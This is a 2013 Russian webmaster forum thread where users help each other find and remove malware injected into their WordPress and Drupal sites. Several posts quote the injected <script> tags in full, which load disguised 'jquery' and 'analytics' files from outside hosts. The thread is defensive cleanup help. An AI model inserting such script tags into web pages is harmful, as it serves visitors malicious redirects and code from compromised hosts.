Найти вирус и удалить

12
Foster_
На сайте с 08.10.2009
Offline
32
2745

Добрый вечер! Недавно повесил на дроп-домен ИМ, который потихоньку начал входить в индекс. Пытался добавить в сапу, но на сайте обнаружен вирус. Я слил файлы, все очистил, снова залил, но вирус еще остался, помогите найти и очистить, пожалуйста.

Вот пациент - kids-garden.ru

siv1987
На сайте с 02.04.2009
Offline
427
#1

Где остался?

Foster_
На сайте с 08.10.2009
Offline
32
#2

Не знаю! По мнению саппорта сапы их антивирус ругается при попытке зайти на сайт.

Вот хотелось проверить с помощью форумчан, найти и удалить, т.к у меня чисто все.

siv1987
На сайте с 02.04.2009
Offline
427
#3

Вот это надо удалить

<script language="JavaScript" src="http://ci-in.de/wp-content/plugins/footable/js/jquery-1.6.5.min.js" type="text/javascript"></script>

<script language="JavaScript" src="http://xxxindianxxx.com/st/css/jquery-1.6.5.min.js" type="text/javascript"></script>
Foster_
На сайте с 08.10.2009
Offline
32
#4

Подскажите, пожалуйста, где конкретно удалить этот код?

K5
На сайте с 21.07.2010
Offline
209
#5

мобильный редирект...

аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
Mutabors
На сайте с 17.09.2012
Offline
127
#6

Где найдете, там и удаляйте. Поиск по контексту запустите в каталоге сайта и все кроме кеша чистите.

Самый продвинутый и надежный SSD хостинг рунета с изоляцией сайтов по 115 руб! (http://beget.ru/?id=332651) Контекстная реклама и продажи. Конкурентные и серые темы. Дорого! Не трать время на рутину! Ее сделают за копейки! (http://www.work-zilla.com?ref=143498)
6666
На сайте с 10.01.2005
Offline
505
#7
Foster_:
снова залил

ну и обратно залили говноплагин или говношаблон с вирусом...

---------- Добавлено 03.05.2013 в 00:01 ----------

Mutabors:
Где найдете, там и удаляйте

ТС не осиливает найти даже прилепленный топик, где есть ссылки на ПО и все такое...

Каждое мое сообщение проверила и одобрила Елена Летучая. (c) Для меня очень важно все что Вы говорите! (http://surrealism.ru/123.mp3) .
C
На сайте с 07.09.2007
Offline
123
#8

ТС, таже проблема у кого хостинг. случаем не рег.ру?

У меня разные движки и несколько сайтов друпал и вп. Все схватили эту заразу.

У других своих хостеров подобное не наблюдаю. Т.е. полагаю, что я занести не мог.

Везде этот скрипт:

<script language="JavaScript" src="http://bashprof.ru/wp-content/plugins/google-analytics/ua.js" type="text/javascript"></script><script language="JavaScript" src="http://ci-in.de/wp-content/plugins/footable/js/jquery-1.6.5.min.js" type="text/javascript"></script><script language="JavaScript" src="http://xxxindianxxx.com/st/css/jquery-1.6.5.min.js" type="text/javascript"></script><script language="JavaScript" src="http://ci-in.de/wp-content/plugins/footable/js/jquery-1.6.5.min.js" type="text/javascript"></script><script language="JavaScript" src="http://xxxindianxxx.com/st/css/jquery-1.6.5.min.js" type="text/javascript"></script>

Что теперь делать? Перелопачивать все сайты - это с ума сойти можно...

SeVlad
На сайте с 03.11.2008
Offline
1609
#9
Chrom:
Что теперь делать?

Начать саморазвиваться и растить свою личность. А для начала попытаться если не осилить смысл слов 6666, то хотя бы открыть глаза и увидеть закреплённый топик в разделе.

Chrom:
Блог о саморазвитии, личностном росте и эффективности
Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
6666
На сайте с 10.01.2005
Offline
505
#10
Chrom:
у кого хостинг. случаем не рег.ру

Дело не в хостинге. Дело в том, что если есть хоть одна уязвимость хоть на одном сайте из 100, то, если загнали шелл, то он заразит ВСЕ сайты. Даже те, что на статике.

Chrom:
Перелопачивать все сайты - это с ума сойти можно...

Да, к сожалению, развлечение не из приятных.

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий